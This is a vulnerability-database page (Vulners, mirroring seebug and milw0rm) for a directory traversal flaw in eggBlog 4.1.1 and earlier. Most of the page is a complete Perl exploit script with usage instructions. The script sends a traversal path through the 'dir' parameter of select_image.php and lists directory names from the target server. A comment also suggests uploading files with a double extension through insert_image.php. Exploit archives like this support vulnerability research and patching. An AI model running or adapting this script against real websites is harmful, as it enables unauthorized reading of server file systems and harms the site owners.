Lucene search
K

eggBlog <= 4.1.1 - Local Directory Transversal Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

eggBlog Local Directory Transversal Exploit in 4.1.1 versio

Code

                                                #!/usr/bin/perl 
#
# eggBlog &#60;= 4.1.1 Local Directory Transversal Exploit
# 
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# Visit http://zeroidentity.org
#
# Description
# ----------------------------------------------------
# eggBlog contains one flaw that allows an attacker to
# carry out a local directory transversal attack. 
# The issue is due to &#39;select_image.php&#39; script not 
# properly sanitizing user input supplied to the &#39;dir&#39;
# GET variable.
# -----------------------------------------------------
# Note: you may upload image files with double ext on
# _lib/openwysiwyg/addons/imagelibrary/insert_image.php
# -----------------------------------------------------

use LWP::UserAgent;


my $domain = $ARGV[0];
my $folder = $ARGV[1] || &usage;

exploit($folder);


sub usage()
{
      print &#34;eggBlog &#60;= 4.1.1 Local Directory Transversal Exploit\n&#34;;
      print &#34;Usage: perl xpl.pl localhost/eggBlog ../../\n&#34;;
      print &#34;Visit http://zeroidentity.org\n&#34;;
      exit;
}      


sub exploit()
{
      my $param = shift @_ || die &#34;1 parameter required\n&#34;; 
       
      my $response = undef;
      my @director = undef;
      
      my $lib = new LWP::UserAgent;
      
      $lib-&#62;agent(&#39;Lynx (textmode)&#39;);
      $lib-&#62;timeout(5);
      
      $response = $lib-&#62;get(&#34;http://$domain/_lib/openwysiwyg/addons/imagelibrary/select_image.php?dir=$param&#34;);
      
      @director = $response-&#62;content =~ /&#60;strong&#62;(.+?)&#60;\/strong&#62;/ig;
      
      for (my $i=0;$i&#60;=scalar(@director);$i++) {
         print $director[$i].&#34;\n&#34;;
      }   
}      

# milw0rm.com [2009-05-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
24